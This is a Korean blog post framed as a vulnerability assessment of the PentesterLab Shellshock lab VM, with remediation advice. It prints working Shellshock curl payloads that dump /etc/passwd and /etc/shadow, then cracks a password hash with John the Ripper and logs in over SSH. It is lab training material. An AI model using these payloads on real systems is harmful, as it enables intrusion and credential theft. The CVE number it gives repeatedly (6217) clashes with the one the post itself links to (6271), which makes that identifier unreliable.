홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#PentesterLab #웹취약성 분석보고서 #쉘쇼크 #Shellshock #Bash Shellshock #John the Ripper #무작위대입공격 #/etc/shadow #INDEXES #ServerTokens

[PentesterLab] CVE-2014-6217/Shellshock 취약점분석 보고서

취약점분석 요약

PentesterLab의 Shellshock 훈련장은 쉘쇼크 취약점이 존재하여 시스템 침투가 가능한 상황이며, 별도의 뒷구멍(backdoor) 없이도 외부에서 SSH를 통해 정상적으로 접속할 수 있는 위험성이 있음.

시스템 장악 위험성 존재

  • (1) 운영체제 명령 실행 취약점 [위험도 상]
    쉘쇼크(shellshock) 취약점이 있는 Bash 기반의 CGI가 존재하며, 악의적인 공격자가 HTTP를 통하여 외부에서 시스템 침투가 가능한 상황이므로 Bash 업그레이드가 긴급함
  • (22) 취약한 서버 설정 취약점 [위험도 상]
    /etc/passwd 파일의 접근권한 설정이 잘못되어 일반계정 권한으로 읽을 수 있었으며 비밀번호 해독을 통해 ssh로 접속이 가능하였음

추가공격에 도움을 줄 소지가 있는 취약점

  • (18) 디렉터리 인덱싱 취약점 [위험도 중]
    디렉토리 내의 파일 목록을 웹브라우저에 표시하므로 공격자는 웹 서버 내 디렉토리의 구조를 파악하고, 주요 소스 파일과 설정 파일의 위치를 파악할 가능성 존재
  • (21) 웹 서비스 메소드 설정 공격 취약점 [위험도 하]
    불필요한 HTTP 메소드인 TRACE를 허용하고 있어서 XST 공격의 가능성 존재
  • (22) 취약한 서버 설정 취약점 [위험도 하]
    HTTP 헤더에서 웹서버 소프트웨어의 버전 정보 노출: Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/1.0.0k DAV/2

취약점 상세 설명

(1) 운영체제 명령 실행

[탐지사항]

  • CVE-2014-6217(Gnu Bash의 쉘쇼크) 취약점이 발견되어 시스템 침투가 가능하며, root와 동일한 그룹 권한을 가지고 시스템 침투 가능

[취약점 경로]

  • http://192.168.206.128/cgi-bin/status (위험도 상)
    - Shellshock 취약점이 있는 Bash 기반의 CGI로 환경변수 조작시 시스템 명령어 실행 가능

[취약점 증빙 자료]

root@kali:~# curl --user-agent "() { :;}; echo;/bin/cat /etc/passwd" http://192.168.206.128/cgi-bin/status
root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
root@kali:~#

[ curl에서 Agent 헤더 조작을 통해 웹서버의 운영체제 명령어를 실행한 화면 ]

[취약점 조치방안]

  • 리눅스 운영체제를 최신버전으로 업그레이드 하거나, Gnu Bash를 취약점이 조치된 버전으로 교체할 것을 권고함

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.9

 

(2) SQL 인젝션

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.13

 

(3) XPath 인젝션

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.16

 

(4) 정보누출

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.19

 

(5) 악성콘텐츠

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.22

 

(6) 크로스 사이트 스크립트(XSS)

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.24

 

(7) 약한 문자열 강도

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.29

 

(8) 불충분한 인증 및 인가

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.33

 

(9) 취약한 패스워드 복구

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.36

 

(10) 불충분한 세션 관리

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.38

 

(11) 크로스 사이트 리퀘스트 변조(CSRF)

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.42

 

(12) 자동화 공격

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.46

 

(13) 파일 업로드

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.49

 

(14) 경로추적 및 파일 다운로드

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.52>

 

(15) 데이터 평문전송

[참고자료]

   - 탐지사항 없음

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.55

 

(16) 쿠키 변조

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.58

 

(17) URL/파라미터 변조

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.61

 

(18) 디렉터리 인덱싱

[탐지사항]

  • 디렉토리 및 파일 목록이 보여지게 되고, 파일의 열람및 저장도 가능하게 되어 비공개 자료가 유출될 가능성이 있음 (위험도 중)

[취약점 경로]

  • http://192.168.206.128/css/
  • http://192.168.206.128/js/

[취약점 증빙 자료]

디렉토리 나열(direcoty indexing)
[ 디렉토리 나열 취약점에 의한 /css/ 디렉토리 내의 파일목록 출력화면 ]

[취약점 조치방안]

  • Apache 웹서버 설정 파일(/usr/local/apach2/conf/httpd.conf)의 Options 항목에서 "Indexes"를 제거하고 아파치 서버를 재기동한다.

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.63

 

(19) 관리자페이지 노출

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.66

 

(20) 위치공개

   - 탐지사항 없음

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.68

 

(21) 웹 서비스 메소드 설정 공격

[탐지사항]

  • Apache 웹서버가 TRACE 메소드를 허용하고 있어서 XST(Cross-site Tracing) 공격에 악용될 소지가 있음

[취약점 경로]

  • curl -v -X TRACE http://192.168.206.128 (위험도 하)

[취약점 증빙 자료]

root@kali:~# curl -v -X TRACE http://192.168.206.128 --header "Fake: this should not be reflected"
* Rebuilt URL to: http://192.168.206.128/
*   Trying 192.168.206.128...
* Connected to 192.168.206.128 (192.168.206.128) port 80 (#0)
> TRACE / HTTP/1.1
> Host: 192.168.206.128
> User-Agent: curl/7.49.1
> Accept: */*
> Fake: this should not be reflected
> 
< HTTP/1.1 200 OK
< Date: Sat, 05 Nov 2016 11:45:07 GMT
< Server: Apache/2.2.21 (Unix) DAV/2
< Transfer-Encoding: chunked
< Content-Type: message/http
< 
TRACE / HTTP/1.1
Host: 192.168.206.128
User-Agent: curl/7.49.1
Accept: */*
Fake: this should not be reflected

* Connection #0 to host 192.168.206.128 left intact
root@kali:~#

[ curl을 이용하여 TRACE 메소드 점검: 헤더가 내용에 출력됨 ]

[취약점 조치방안]

  • /usr/local/apache2/conf/httpd.conf 파일의 마지막에 "TraceEnable Off를 한줄 추가하고 Apache 웹서버를 재기동한다.
    - 예: # apachectl stop && apachectl start

[참고자료]

  • “정보시스템 개발‧운영자를 위한 홈페이지 취약점 진단‧제거 가이드”, 한국인터넷진흥원(KISA), 2013.12., p.70

 

(22) 취약한 서버 설정

[탐지사항]

  • /etc/shadow 파일의 접근권한이 잘못 설정되어 staff 그룹에 속한 일반 사용자가 읽고 쓸 수 있음
    - 4 -rw-rw---- 1 root staff 168 Nov 4 16:31 /etc/shadow (위험도 상)
    - Shellshock 취약점으로 /etc/shadow 열람 후 pentesterlab 계정의 비밀번호 해독 가능
  • HTTP 헤더에서 웹서버 소프트웨어의 버전 정보 노출하여 추가 공경에 도움을 줄 소지가 있음
    - Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/1.0.0k DAV/2 (위험도 하)

[취약점 경로]

  • /etc/shadow (pentesterlab 계정으로 읽고 쓰기 가능, 위험도 상)
  • curl -v http://192.168.206.128 (Server: 헤더에서 웹서버 환경 노출, 위험도 하)

[취약점 증빙 자료]

pentesterlab@vulnerable:~$ id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
pentesterlab@vulnerable:~$ ls -als /etc/shadow
     4 -rw-rw----    1 root     staff          168 Nov  4 16:31 /etc/shadow
pentesterlab@vulnerable:~$ 

[ pentesterlab 계정정보(그룹: staff와 이 그룹이 읽기쓰기 가능한 /etc/passwd ]

root@kali:~# curl -A "() { :;}; echo;/bin/cat /etc/shadow" http://192.168.206.128/cgi-bin/status
root:*:13525:0:99999:7:::
lp:*:13510:0:99999:7:::
nobody:*:13509:0:99999:7:::
tc::13646:0:99999:7:::
pentesterlab:$1$1zsr5GKP$ASvJ9V19e895LF7SPnJoJ0:17110:0:99999:7:::
root@kali:~# curl -A "() { :;}; echo;/bin/cat /etc/shadow" http://192.168.206.128/cgi-bin/status > shadow
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   168    0   168    0     0  55118      0 --:--:-- --:--:-- --:--:-- 84000
root@kali:~# time john shadow 
Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
tcuser           (pentesterlab)
1g 0:00:36:41 DONE 3/3 (2016-11-06 23:19) 0.000454g/s 41046p/s 41046c/s 41046C/s tcudjj..tcuser
Use the "--show" option to display all of the cracked passwords reliably
Session completed

real	36m43.514s
user	36m26.140s
sys	0m2.556s
root@kali:~# ssh pentesterlab@192.168.206.128
The authenticity of host '192.168.206.128 (192.168.206.128)' can't be established.
ECDSA key fingerprint is SHA256:USY3WfQ2ERR3l243cWG7DYTYH3VyyaoOeyYKGdFizOs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.206.128' (ECDSA) to the list of known hosts.
pentesterlab@192.168.206.128's password: 
 ____            _            _            _          _
|  _ \ ___ _ __ | |_ ___  ___| |_ ___ _ __| |    __ _| |__
| |_) / _ \ '_ \| __/ _ \/ __| __/ _ \ '__| |   / _` | '_ \
|  __/  __/ | | | ||  __/\__ \ ||  __/ |  | |__| (_| | |_) |
|_|   \___|_| |_|\__\___||___/\__\___|_|  |_____\__,_|_.__/


  Now that the ISO boot, you can run ifconfig to find what IP address you need to connect to, this address is the vulnerable web application you need to attack.  

  You can use 'sudo -s' to get root access.
 
pentesterlab@vulnerable:~$ 

[ /etc/shadow 파일 열람, 비밀번호 해독을 통해 ssh로 웹서버에 접속하는 과정 ]

John the Ripper로 i7 3635QM의 1개 쓰레드(thread)를 이용하여 약37분만에 6자짜리 비밀번호를 해독(역연산)할 수 있었다. 여기서는 훈련장의 SSH 포트(22/tcp)가 외부에 열려있는 것으로 가정하였다. /etc/shadow 파일을 읽을 수 있고 SSH가 개방되어 있는 경우에는 이런 과정을 통해 악의적인 공격자에게 정상적인 서버 접속 경로를 제공할 수 있다.

root@kali:~# curl -v http://192.168.206.128
* Rebuilt URL to: http://192.168.206.128/
*   Trying 192.168.206.128...
* Connected to 192.168.206.128 (192.168.206.128) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.206.128
> User-Agent: curl/7.49.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Sat, 05 Nov 2016 13:02:31 GMT
< Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/1.0.0k DAV/2
< Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT
< ETag: "feb-2c-3e9564c23b600"
< Accept-Ranges: bytes
< Content-Length: 44
< Content-Type: text/html
< 
* Connection #0 to host 192.168.206.128 left intact
root@kali:~#

[ HTTP Server 헤더에서 노출되는 웹서버 환경 ]

[취약점 조치방안]

  • /etc/shadow 파일의 접근권한을 "600"(rw-------)로 변경하여 root만이 접근할 수 있도록 설정해야 한다(sudo chmod 600 /etc/shadow). 또한 방화벽 설정을 통해 관리자 PC에서만 ssh로 접속할 수 있도록 접근을 제한해야 한다.
  • Server 헤더 간소화: /usr/local/apache2/conf/httpd.conf 파일의 끝에 "ServerTokens Prod" 한줄을 추가하고 Apache 웹서버를 재구동한다(apachectl restart).

[처음 작성한 날: 2016.11.06]    [마지막으로 고친 날: 2016.11.07] 


< 이전 글 : [웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (2016.11.04)

> 다음 글 : 무료 웹해킹 교육장 목록 (2016.11.03)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문